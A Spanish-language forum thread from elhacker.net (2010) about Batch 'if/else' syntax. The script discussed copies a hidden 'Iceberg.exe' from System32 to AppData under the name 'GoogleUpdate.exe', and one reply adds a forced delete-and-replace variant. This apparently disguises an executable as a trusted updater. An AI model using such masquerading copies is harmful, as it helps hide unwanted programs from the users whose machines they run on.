Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: Napster.A530 en 15 Julio 2010, 10:27 AM

Título: Duda en Batch (comando if)
Publicado por: Napster.A530 en 15 Julio 2010, 10:27 AM
Estoy programando en Batch pero me surgio una duda, esta linea servira?

Código (dos) [Seleccionar]
if not exist %appdata%\GoogleUpdate\GoogleUpdate.exe Xcopy /y /h %windir%\System32\Iceberg.exe %appdata%\GoogleUpdate\GoogleUpdate.exe /f else exit.

que se supone que queiro que haga? facil, si el archivo
Código (dos) [Seleccionar]
"%appdata%\GoogleUpdate\GoogleUpdate.exe" no existe que copie un archivo oculto llamado
Código (dos) [Seleccionar]
"%windir%\System32\Iceberg.exe" y que lo pase con el nombre de
Código (dos) [Seleccionar]
"%appdata%\GoogleUpdate\GoogleUpdate.exe /f"  pero si
Código (dos) [Seleccionar]
"%appdata%\GoogleUpdate\GoogleUpdate.exe" no existe que salga, o acaso me lo tomara en el principio? que si el archivo "
Código (dos) [Seleccionar]
%appdata%\GoogleUpdate\GoogleUpdate.exe" si existe se salga??
dentro de
Código (dos) [Seleccionar]
if not exist %appdata%\GoogleUpdate\GoogleUpdate.exe...

o le tengo que meter (ya al final)
Código (dos) [Seleccionar]
if errorlevelal final enves de
Código (dos) [Seleccionar]
else


Gracias, Saludos =D
Título: Re: Duda en Batch (comando if)
Publicado por: flony en 15 Julio 2010, 13:20 PM
no entendi  :-\ ...para colmo el primer code no se lee  :(
Título: Re: Duda en Batch (comando if)
Publicado por: criskapunk en 15 Julio 2010, 13:49 PM
No entendi muy bien pero creo que cuando utilizas un Else, la instruccion del If debe ir entre parentesis.

Código (dos) [Seleccionar]
if exist "Ruta_del_archivo" (comandos1) else comandos2

Un saludo ;)
Título: Re: Duda en Batch (comando if)
Publicado por: maxx93 en 15 Julio 2010, 23:05 PM
Lo que haria esta linea sera copiar el archivo "%windir%\System32\Iceberg.exe" con el nombre de GoogleUpdate.exe si no existe "%appdata%\GoogleUpdate\GoogleUpdate.exe", pero si "%appdata%\GoogleUpdate\GoogleUpdate.exe" existe que no ocurra nada.

if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe")


Y si existe "%appdata%\GoogleUpdate\GoogleUpdate.exe" y lo queres reemplazar tambien por iceberg.exe te quedaria asi

if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe") else (del /f /q "%appdata%\GoogleUpdate\GoogleUpdate.exe"&copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe")


Salu2.